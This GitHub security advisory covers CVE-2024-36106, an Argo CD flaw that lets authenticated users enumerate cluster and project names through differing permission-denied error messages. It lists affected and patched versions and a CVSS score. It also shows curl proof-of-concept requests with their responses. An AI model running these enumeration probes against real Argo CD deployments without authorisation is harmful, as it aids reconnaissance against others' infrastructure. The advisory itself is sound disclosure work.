Skip to content

Argo-cd authenticated users can enumerate clusters by name

Moderate severity GitHub Reviewed Published Jun 6, 2024 in argoproj/argo-cd • Updated Jun 6, 2024

Package

gomod github.com/argoproj/argo-cd (Go)

Affected versions

>= 0.11.0, < 2.9.17
>= 2.10.0, < 2.10.12
>= 2.11.0, < 2.11.3

Patched versions

2.9.17
2.10.12
2.11.3

Description

Impact

It’s possible for authenticated users to enumerate clusters by name by inspecting error messages:

$ curl -k 'https://localhost:8080/api/v1/clusters/in-cluster?id.type=name' -H "Authorization: 
Bearer $token"
{"error":"permission denied: clusters, get, , sub: alice, iat: 2022-11-04T20:25:44Z","code":7,"message":"permission denied: clusters, get, , sub: alice, iat: 2022-11-04T20:25:44Z"}⏎                                 
                                   
$ curl -k 'https://localhost:8080/api/v1/clusters/does-not-exist?id.type=name' -H "Authorizati
on: Bearer $token"
{"error":"permission denied","code":7,"message":"permission denied"}

It’s also possible to enumerate the names of projects with project-scoped clusters if you know the names of the clusters.

curl -k 'https://localhost:8080/api/v1/clusters/in-cluster-project?id.type=name' -H "Authorization: Bearer $token"
{"error":"permission denied: clusters, get, default/, sub: alice, iat: 2022-11-04T20:25:44Z","code":7,"message":"permission denied: clusters, get, default/, sub: alice, iat: 2022-11-04T20:25:44Z"}

curl -k 'https://localhost:8080/api/v1/clusters/does-not-exist?id.type=name' -H "Authorization: Bearer $token"
{"error":"permission denied","code":7,"message":"permission denied"}

Patches

A patch for this vulnerability has been released in the following Argo CD versions:

v2.11.3
v2.10.12
v2.9.17

For more information

If you have any questions or comments about this advisory:

Open an issue in the Argo CD issue tracker or discussions
Join us on Slack in channel #argo-cd

Credits
This vulnerability was found & reported by @crenshaw-dev (Michael Crenshaw)

The Argo team would like to thank these contributors for their responsible disclosure and constructive communications during the resolve of this issue

References

@pasha-codefresh pasha-codefresh published to argoproj/argo-cd Jun 6, 2024
Published by the National Vulnerability Database Jun 6, 2024
Published to the GitHub Advisory Database Jun 6, 2024
Reviewed Jun 6, 2024
Last updated Jun 6, 2024

Severity

Moderate
4.3
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Weaknesses

CVE ID

CVE-2024-36106

GHSA ID

GHSA-3cqf-953p-h5cp

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.